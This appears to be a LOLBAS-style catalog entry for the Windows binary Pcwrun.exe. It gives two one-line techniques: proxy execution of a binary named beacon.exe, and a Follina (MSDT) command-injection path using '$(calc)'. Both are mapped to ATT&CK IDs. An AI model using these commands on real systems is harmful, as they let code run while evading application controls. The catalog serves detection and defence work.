.. /Pcwrun.exe
Star

Execute

Program Compatibility Wizard


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Open the target .EXE file with the Program Compatibility Wizard.

    Pcwrun.exe c:\temp\beacon.exe
    Use case
    Proxy execution of binary
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218
  2. Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

    Pcwrun.exe /../../$(calc).exe
    Use case
    Proxy execution of binary
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1202